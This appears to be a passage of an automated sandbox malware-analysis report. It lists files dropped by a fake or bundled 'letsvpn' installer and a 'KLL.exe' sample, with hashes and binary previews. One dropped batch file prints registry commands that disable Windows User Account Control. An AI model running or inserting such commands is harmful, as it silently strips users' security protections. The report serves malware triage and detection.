                                                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):9728
                                                                                            Entropy (8bit):5.101872593207892
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:oF8cSzvTyl4tgi8pPjQM0PuAg0YNy8IFtSP:EBSzm+t18pZ0WAg0R8IFg
                                                                                            MD5:CA95C9DA8CEF7062813B989AB9486201
                                                                                            SHA1:C555AF25DF3DE51AA18D487D47408D5245DBA2D1
                                                                                            SHA-256:FEB6364375D0AB081E9CDF11271C40CB966AF295C600903383B0730F0821C0BE
                                                                                            SHA-512:A30D94910204D1419C803DC12D90A9D22F63117E4709B1A131D8C4D5EAD7E4121150E2C8B004A546B33C40C294DF0A74567013001F55F37147D86BB847D7BBC9
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......|..c8O`08O`08O`08Oa0.O`0.@=05O`0llP0=O`0.If09O`0.od09O`0Rich8O`0........PE..L.....oZ...........!.........0...............0............................................@..........................6..k....0.......p...............................................................................0...............................text............................... ..`.rdata..{....0......................@..@.data...h!...@......................@....rsrc........p....... ..............@..@.reloc..v............"..............@..B................................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\Users\user\AppData\Local\Temp\nsz7B4.tmp\nsExec.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):6656
                                                                                            Entropy (8bit):5.156301589898623
                                                                                            Encrypted:false
                                                                                            SSDEEP:96:cjHFiKaoggCtJzTlKXb0tbo68qD853Ns7GgmkNG3m+s:9bogRtJzTlNR8qD85uGgmkNP
                                                                                            MD5:3D366250FCF8B755FCE575C75F8C79E4
                                                                                            SHA1:2EBAC7DF78154738D41AAC8E27D7A0E482845C57
                                                                                            SHA-256:8BDD996AE4778C6F829E2BCB651C55EFC9EC37EEEA17D259E013B39528DDDBB6
                                                                                            SHA-512:67D2D88DE625227CCD2CB406B4AC3A215D1770D385C985A44E2285490F49B45F23CE64745B24444E2A0F581335FDA02E913B92781043E8DFD287844435BA9094
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,..................Rich...........PE..L.....oZ...........!......................... ...............................P............@..........................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..L.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\Users\user\AppData\Local\Temp\{75862a73-1ffc-e046-aa64-8e0734b1eb0a}\SET520A.tmp

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
                                                                                            File Type:Windows setup INFormation
                                                                                            Category:dropped
                                                                                            Size (bytes):7632
                                                                                            Entropy (8bit):5.063558190257152
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
                                                                                            MD5:26009F092BA352C1A64322268B47E0E3
                                                                                            SHA1:E1B2220CD8DCAEF6F7411A527705BD90A5922099
                                                                                            SHA-256:150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
                                                                                            SHA-512:C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
                                                                                            Malicious:false
                                                                                            Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                            C:\Users\user\AppData\Local\Temp\{75862a73-1ffc-e046-aa64-8e0734b1eb0a}\SET522A.tmp

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):10739
                                                                                            Entropy (8bit):7.214364446291792
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:JDVLGVDFfap5UEwQl/WGhYCt17vJ4qnaj6jQc:7GCpzlnh3t1x4l2jn
                                                                                            MD5:F73AC62E8DF97FAF3FC8D83E7F71BF3F
                                                                                            SHA1:619A6E8F7A9803A4C71F73060649903606BEAF4E
                                                                                            SHA-256:CC74CDB88C198EB00AEF4CAA20BF1FDA9256917713A916E6B94435CD4DCB7F7B
                                                                                            SHA-512:F81F5757E0E449AD66A632299BCBE268ED02DF61333A304DCCAFB76B2AD26BAF1A09E7F837762EE4780AFB47D90A09BF07CB5B8B519C6FB231B54FA4FBE17FFE
                                                                                            Malicious:false
                                                                                            Preview:0.)...*.H........).0.)....1.0...`.H.e......0..i..+.....7.....Z0..V0...+.....7.......r?.X.M.....F.A..201008141946Z0...+.....7.....0..T0.... .....S!F.3....#.a.2`..e...#e...1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....S!F.3....#.a.2`..e...#e...0...."~..m..8C. i$.4.l..1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..j(.M<.cR..XrT....F..R.]....?1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..j(.M<.cR..XrT....F..R.]....?0.....".....A.Rw..... .1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f.......0...0....+.

                                                                                            C:\Users\user\AppData\Local\Temp\{75862a73-1ffc-e046-aa64-8e0734b1eb0a}\SET523B.tmp

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
                                                                                            File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):39920
                                                                                            Entropy (8bit):6.338128217115975
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
                                                                                            MD5:C10CCDEC5D7AF458E726A51BB3CDC732
                                                                                            SHA1:0553AAB8C2106ABB4120353360D747B0A2B4C94F
                                                                                            SHA-256:589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
                                                                                            SHA-512:7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                            C:\Users\user\AppData\Local\Temp\{75862a73-1ffc-e046-aa64-8e0734b1eb0a}\oemvista.inf (copy)

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
                                                                                            File Type:Windows setup INFormation
                                                                                            Category:dropped
                                                                                            Size (bytes):7632
                                                                                            Entropy (8bit):5.063558190257152
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
                                                                                            MD5:26009F092BA352C1A64322268B47E0E3
                                                                                            SHA1:E1B2220CD8DCAEF6F7411A527705BD90A5922099
                                                                                            SHA-256:150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
                                                                                            SHA-512:C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
                                                                                            Malicious:false
                                                                                            Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                            C:\Users\user\AppData\Local\Temp\{75862a73-1ffc-e046-aa64-8e0734b1eb0a}\tap0901.cat (copy)

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):10739
                                                                                            Entropy (8bit):7.214364446291792
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:JDVLGVDFfap5UEwQl/WGhYCt17vJ4qnaj6jQc:7GCpzlnh3t1x4l2jn
                                                                                            MD5:F73AC62E8DF97FAF3FC8D83E7F71BF3F
                                                                                            SHA1:619A6E8F7A9803A4C71F73060649903606BEAF4E
                                                                                            SHA-256:CC74CDB88C198EB00AEF4CAA20BF1FDA9256917713A916E6B94435CD4DCB7F7B
                                                                                            SHA-512:F81F5757E0E449AD66A632299BCBE268ED02DF61333A304DCCAFB76B2AD26BAF1A09E7F837762EE4780AFB47D90A09BF07CB5B8B519C6FB231B54FA4FBE17FFE
                                                                                            Malicious:false
                                                                                            Preview:0.)...*.H........).0.)....1.0...`.H.e......0..i..+.....7.....Z0..V0...+.....7.......r?.X.M.....F.A..201008141946Z0...+.....7.....0..T0.... .....S!F.3....#.a.2`..e...#e...1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....S!F.3....#.a.2`..e...#e...0...."~..m..8C. i$.4.l..1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..j(.M<.cR..XrT....F..R.]....?1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..j(.M<.cR..XrT....F..R.]....?0.....".....A.Rw..... .1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f.......0...0....+.

                                                                                            C:\Users\user\AppData\Local\Temp\{75862a73-1ffc-e046-aa64-8e0734b1eb0a}\tap0901.sys (copy)

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
                                                                                            File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):39920
                                                                                            Entropy (8bit):6.338128217115975
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
                                                                                            MD5:C10CCDEC5D7AF458E726A51BB3CDC732
                                                                                            SHA1:0553AAB8C2106ABB4120353360D747B0A2B4C94F
                                                                                            SHA-256:589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
                                                                                            SHA-512:7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                            C:\Users\user\AppData\Roaming\J95KX.bat

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\KLL.exe
                                                                                            File Type:ASCII text, with CR, LF line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):392
                                                                                            Entropy (8bit):5.141040221765098
                                                                                            Encrypted:false
                                                                                            SSDEEP:12:jLMVjhR1mWEMlTLMVjhR1ZTLMVjhR16Xn:jIV1PMmIV1PZIV1P6X
                                                                                            MD5:30D6EB22D6AEEC10347239B17B023BF4
                                                                                            SHA1:E2A6F86D66C699F6E0FF1AC4E140AF4A2A4637D1
                                                                                            SHA-256:659DF6B190A0B92FC34E3A4457B4A8D11A26A4CAF55DE64DFE79EB1276181F08
                                                                                            SHA-512:500872C3F2F3F801EC51717690873194675CB7F32CC4A862C09D90C18638D364D49B0E04C32323F52734E5C806E3503A63AC755C7019D762786A72840123DF76
                                                                                            Malicious:false
                                                                                            Preview:reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F ..reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F ..reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F ..

                                                                                            C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\letsvpn\LetsVPN.lnk

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Wed May 8 12:29:30 2024, mtime=Sat Jul 20 08:36:19 2024, atime=Wed May 8 12:29:30 2024, length=247272, window=hide
                                                                                            Category:dropped
                                                                                            Size (bytes):1100
                                                                                            Entropy (8bit):4.621736224073712
                                                                                            Encrypted:false
                                                                                            SSDEEP:24:8mG/A4bdIE22dOE40b6iAsh1dyOd/UUIDqyFm:8mG/A4bB22dOqWBsh1dyOds4yF
                                                                                            MD5:07EBBD36F0FD72AAB5A8EF903A5AB4B0
                                                                                            SHA1:8D71DBCBDD241CFD200CDFCC449DB759D5D475CC
                                                                                            SHA-256:0954951FAF47C1405E949B102C38FD00934EF7860035F256AE39E67B8FB549AC
                                                                                            SHA-512:5443FF17904815CB0DC5CDFB82B8CF85796E37DC0DAA3E7C752F7188FADDBDCAB8DC0E3E939FEDD68372888B94967FE6A6C956155990151E5A73F659196F1BF8
                                                                                            Malicious:false
                                                                                            Preview:L..................F.... .....c.K....P.F......c.K................................P.O. .:i.....+00.../C:\.....................1......X.L..PROGRA~2.........O.I.X.L....................V.....2.A.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....V.1......X.L..letsvpn.@.......X.L.X.L....).....................N.".l.e.t.s.v.p.n.....b.2......X.k .LetsPRO.exe.H......X.k.X.L..............................L.e.t.s.P.R.O...e.x.e.......Y...............-.......X...........}..H.....C:\Program Files (x86)\letsvpn\LetsPRO.exe..B.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.\.L.e.t.s.P.R.O...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.........*................@Z|...K.J.........`.......X.......632922...........hT..CrF.f4... ..T..b...,.......hT..CrF.f4... ..T..b...,..................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4

                                                                                            C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\letsvpn\Uninstall.lnk

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hide
                                                                                            Category:dropped
                                                                                            Size (bytes):824
                                                                                            Entropy (8bit):3.3763387811165657
                                                                                            Encrypted:false
                                                                                            SSDEEP:12:8wl0Va/ledp8A/LK4YRMbdpYgRtbdpYqQ/CNUvH4t2YZ/elFlSJm:8BdOAW4Y+djXdYOUFqy
                                                                                            MD5:989BB8C7102AC576BC6B7DF8D2F623EF
                                                                                            SHA1:24445FA435EDB9A0F27C99424A3B0CC924FAC059
                                                                                            SHA-256:A428F7311DC973216A0823D6B52B2B093A835D7FA135E07B90F5AD00E5B04D6B
                                                                                            SHA-512:49184700D845E2E60235AE602B9652783D0F5F955396D14AB368F52E293678BF6D5A78E12EDBF63B895D1E7B795CB42D3A856D750C179E4A247951D381B24AE1
                                                                                            Malicious:false
                                                                                            Preview:L..................F........................................................_....P.O. .:i.....+00.../C:\...................z.1...........Program Files (x86).X............................................P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...".V.1...........letsvpn.@............................................l.e.t.s.v.p.n.....`.2...........uninst.exe..F............................................u.n.i.n.s.t...e.x.e.......A.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.\.u.n.i.n.s.t...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.........*................@Z|...K.J.....................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.2.................

                                                                                            C:\Users\user\Desktop\LetsVPN.lnk

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Wed May 8 12:29:30 2024, mtime=Sat Jul 20 08:36:24 2024, atime=Wed May 8 12:29:30 2024, length=247272, window=hide
                                                                                            Category:dropped
                                                                                            Size (bytes):1064
                                                                                            Entropy (8bit):4.65411537713692
                                                                                            Encrypted:false
                                                                                            SSDEEP:24:8mG/gC4bdIE22dOE4zaiAshXdyOd/UUIDqyFm:8mG/gC4bB22dOMBshXdyOds4yF
                                                                                            MD5:2D43E39E5CC74A53E7BF1AB024143BB1
                                                                                            SHA1:963DD77D402B8479630DBDBC00282D14AFCDBFB6
                                                                                            SHA-256:826B3D94AE679A8D783BC97AE6A47B39DE217C2AB90089C0D39EE4621C5E75C2
                                                                                            SHA-512:288282E93EFF05CC89F50B77C709906ED1382825E3697B7336651337703021C37ACD1F734B716031C0FD149092E06BE392E18413D9AD38AC2FE17D373FFB7158
                                                                                            Malicious:false
                                                                                            Preview:L..................F.... .....c.K.....EI......c.K................................P.O. .:i.....+00.../C:\.....................1......X.L..PROGRA~2.........O.I.X.L....................V.....2.A.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....V.1......X.L..letsvpn.@.......X.L.X.L....)........................l.e.t.s.v.p.n.....b.2......X.k .LetsPRO.exe.H......X.k.X.L..............................L.e.t.s.P.R.O...e.x.e.......Y...............-.......X...........}..H.....C:\Program Files (x86)\letsvpn\LetsPRO.exe..0.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.\.L.e.t.s.P.R.O...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.........*................@Z|...K.J.........`.......X.......632922...........hT..CrF.f4... ..T..b...,.......hT..CrF.f4... ..T..b...,..................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.2.........9

                                                                                            C:\Users\user\Videos\95135908~m7\Dykljo.exe

                                                                                            Download File
                                                                                            Process:C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe
                                                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):99904
                                                                                            Entropy (8bit):6.435962118124312
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:xvQ8DfZL6Gp/N6EZZtS/PG4/L1VOKFcbXWIJJffAgv:xvQ8DZ2vEZZtS3FxVRiGCfhv
                                                                                            MD5:8AA07B7C6C632F4EDF07A0E2B91F8566
                                                                                            SHA1:2E72D725A845B532C19A422FB32DEB629F53C824
                                                                                            SHA-256:DD8BFBB25430E7F19E24234494324264BE98AC0CC20B239E18B4DD35E26EC1BC
                                                                                            SHA-512:A9B3EB0B0EAFC53ACE21E30C12CCB64B9FC152CDF52A4A2C0B395DC6F9D20181B3006DCE14A16226DF9010A68673BB71656D8A95AC0597A12D05C99D15E3F909
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o...+..E+..E+..E8.D)..E8.D'..Ej..D)..E8.D/..E8.D5..E"..E2..E+..E...Ej..D*..Ej..D,..Ej.sE*..E+..E*..Ej..D*..ERich+..E........................PE..L....)a[..........................................@.................................].....@.................................h...,.... ..H_...........r..@...............p........................... ...@...............T............................text.............................. ..`.rdata...n.......p..................@..@.data...............................@....rsrc...H_... ...`..................@..@.reloc...............d..............@..B........................................................................................................................................................................................................................................................................................

                                                                                            C:\Users\user\Videos\95135908~m7\SK.TXT

                                                                                            Download File
                                                                                            Process:C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):209640
                                                                                            Entropy (8bit):7.999177905030001
                                                                                            Encrypted:true
                                                                                            SSDEEP:6144:dBzfkb8g9kic/0KgHkNi+TbB+MoT/yMQHH9s:dBDkgghcTgeTbHRMQna
                                                                                            MD5:679448E9A47B9C959EF182C26EF2897B
                                                                                            SHA1:0078996EC17F33E266295085AA04CF3F1B45B7F5
                                                                                            SHA-256:384D6FD29F7D0A290DA1F564CF4FE7EF47DCB2B3FE3F676C12876C32DBC1D9A0
                                                                                            SHA-512:68D3AA5F4758AB036FE805EE29F41B7DFB5CF1637C1E37BB1F5D1498CE4756C85F244998488B82335DD4F890B9E2C33FA28FCD637586BE9709E1D090EE6656C9
                                                                                            Malicious:false
                                                                                            Preview:...y.J..'........Q......."..5A..!j/s4BC.b.`.f.u.l..T.~....f?#.*):.Sl.`.A.........0.N4%q.5.].tm..U........<...o.s}.....8Pz..*r{.L.S_._x......a.....(<...H4O.(...N...K. ..<_.VS....,..P..~w...~........-.J..4S.>...{..fSV..0....8..._F...(D...(....p..kYF.L.I.CE..2=.....#.3I...Q..rc.>.z.w7hU....T..f..r8.).) X:&1qd.R.L.G.........E.n.R.*w.Y.)cT...^..>....U.Z...O!y.1I)..J.....U.....5..6.). U*.....!.*.f...V....&....x..%..b`VE..'i.......a....<....J.-W....N...#p......"./.d..98.(..0A@.9..6..s..W8us..u.#;rf..m..y..c}by .>.R.i..c...T...MlS...Qh....RT.e..z.ex"......(...;...S.S..R.1%i!.o....d.cm....f.`m.*.c..bpV..x..~@.w.....#.YJo.g p..V...Hm.)0..t...G.s...4..y.f.sb8)........K?......-...Y..lD.G...K.M...6........w....T..#.B..o..$...........Cy.....xC.eF`b...]...~..Q..C.....U}.Nb..K.....L.pr..R!.?...$q..N._d..+@.c...A..-f -...X.'[.....I...\..i.[.J..g.AU....oK.D.........kA.1....6;Eq..Dz`:......R....G.._&..J.e_.v..:.&.Go....|"1.U.,~A.;.._P2.0.....p......BX....gW.~

                                                                                            C:\Users\user\Videos\95135908~m7\msvcp140.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):439608
                                                                                            Entropy (8bit):6.652249319015373
                                                                                            Encrypted:false
                                                                                            SSDEEP:12288:oAoA7hbarg71r4RzfxjJhUgiW6QR7t5s03Ooc8dHkC2esq0Ju:oAoAN3r0Bm03Ooc8dHkC2eT0Ju
                                                                                            MD5:1D8C79F293CA86E8857149FB4EFE4452
                                                                                            SHA1:7474E7A5CB9C79C4B99FDF9FB50EF3011BEF7E8F
                                                                                            SHA-256:C09B126E7D4C1E6EFB3FFCDA2358252CE37383572C78E56CA97497A7F7C793E4
                                                                                            SHA-512:83C4D842D4B07BA5CEC559B6CD1C22AB8201941A667E7B173C405D2FC8862F7E5D9703E14BD7A1BABD75165C30E1A2C95F9D1648F318340EA5E2B145D54919B1
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U.C.4...4...4..t.I..4...L...4..Lm...4...4...4..Lm...4..Lm...4..Lm...4..Lm...4..Lm...4..Lm}..4..Lm...4..Rich.4..........................PE..L.....U.........."!................ ........ ...........................................@A.........................A.......R..,....................v..8?.......:..0g..8............................)..@............P......P>..@....................text..."........................... ..`.data....'... ......................@....idata..2....P......................@..@.didat..4....p.......4..............@....rsrc................6..............@..@.reloc...:.......<...:..............@..B........................................................................................................................................................................................................................................................

                                                                                            C:\Users\user\Videos\95135908~m7\uc_guilib.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe
                                                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):2798592
                                                                                            Entropy (8bit):6.785357408096823
                                                                                            Encrypted:false
                                                                                            SSDEEP:49152:Cy2L/kje8OFJG+yk87AGuWl4vZ8EsHv1dL//e7qJ5pv:92jkje8KM+ykyAGuWl4h5sHv1N/
                                                                                            MD5:222FC00C04823BAAEF6EA2406082DB6E
                                                                                            SHA1:B4042DAFBD8DED61C64C8ED69B8DC06710950A01
                                                                                            SHA-256:90BA55338412BFF084A981F67DA7FF07333C339C1965CFA23832442532247C50
                                                                                            SHA-512:65C99E567C9BE76C94553DE46DE5F7B6C079630921A063897DC8C4EA0D7C2EC34634A2004F5C10135AD18A38BDB35E92CF3161638B3855E2C9D2216B3EE74877
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,.K.M...M...M..5....M..5...$M..5....M...5d..M...5c..M...5s..M...M..~O..,....M..,....M..,....L..4....M..4....M..4....M...Mw..M..4....M..Rich.M..........PE..L....C.f...........!.........F......\........0................................,...........@...........................#.....L.%.@.....*.H1...................@*.d|...C!.8...................tD!......D!.@............0..P............................text............................... ..`.rdata.......0......."..............@..@.data........ &..T....&.............@....gfids..h....0(......^&.............@..@.giats........).......(.............@..@.tls..........).......(.............@....rsrc...H1....*..2....(.............@..@.reloc..d|...@*..~...6(.............@..B........................................................................................................................................................

                                                                                            C:\Users\user\Videos\95135908~m7\vcruntime140.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):85328
                                                                                            Entropy (8bit):6.8770791315221285
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:BTXU4YQD+JZoxeu8zIrBj3hGzHRb3izsQe1o8jsu0gD/TecbOjc8WsaBmiK:pXUlQDeexZTBozHRb3izsQe1o8E8ecbg
